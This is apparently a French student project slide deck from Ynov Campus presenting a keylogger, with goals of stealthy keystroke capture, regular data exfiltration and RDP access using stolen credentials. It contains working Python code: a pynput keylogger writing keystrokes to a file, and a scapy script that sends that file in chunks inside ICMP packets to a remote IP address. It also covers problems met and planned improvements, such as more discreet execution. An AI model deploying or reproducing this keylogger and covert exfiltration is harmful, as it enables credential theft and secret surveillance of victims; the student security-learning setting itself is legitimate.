Keylogger

ynov CAMPUS

PROJET ETUDIANT

Bayssié Loïc - Bedat Joritz

Sommaire

- Projet initial
- Répartition du travail
- Point technique
- Problèmes rencontrés
- Les leçons tirées
- Axes d’amélioration
- Passons à la démonstration

Projet initial

Keylogger:

- Enregistrer les frappes et les stockées
- Exfiltrer la donnée régulièrement
- Être discret et autonome

RDP

- Accès d’un poste à distance à partir des identifiants récupérés

Répartition du travail

Joritz	Loïc
Environnement virtuel python Keylogger RDP ?	Exfiltration de la donnée Keylogger RDP ?

Point technique : Keylogger

```python
import pynput
from pynput.keyboard import Listener
import logging

file = "touch.txt"
logging.basicConfig(filename=file, level=logging.DEBUG, format="%(asctime)s %(message)s")

def on_press(key):
    logging.info(key)

with Listener(on_press=on_press) as listener:
    listener.join()
```

Point technique : Exfiltration

```
3 from scapy.all import *
4 import sys
5
6 deadline = 1
7 chunksize = 1024
8
9 def read_file_bytes(filename, chunksize=chunksize):
10         with open(filename, "rb") as file:
11                 while True:
12                         chunk = file.read(chunksize)
13                         if chunk:
14                                 yield chunk
15                         else:
16                                 break
17
18
19 filename = "touch.txt"
20 target = "192.168.1.21"
21
22 ping_filename = IP(dst=target, ttl=120)/ICMP()/Raw(load=filename)
23 sr1(ping_filename, timeout=deadline)
24 for filedata in read_file_bytes(filename):
25         ping_filedata = IP(dst=target, ttl=100)/ICMP()/Raw(load=filedata)
26         sr1(ping_filedata, timeout=deadline)
27 ping_eof = IP(dst=target, ttl=60)/ICMP()
28 sr1(ping_eof, timeout=deadline)
29
```

Problèmes rencontrés

Joritz	Loïc
Organisation/Temps Compatibilité entre OS Environnement Python	Temps Projets GitHub non finalisés Compatibilité entre OS Connaissances insuffisantes Environnement Python

Leçons tirées

Joritz	Loïc
Keylogger Python Git	Exfiltration de la donnée Keylogger Installation python

Axes d’amélioration

Organisation

Automatisation

Handmade

Technologies choisies

Présentation de la donnée exfiltrée

Discrétion à l’exécution des exécutables

Ajout de la partie RDP (xrdp)

Démonstration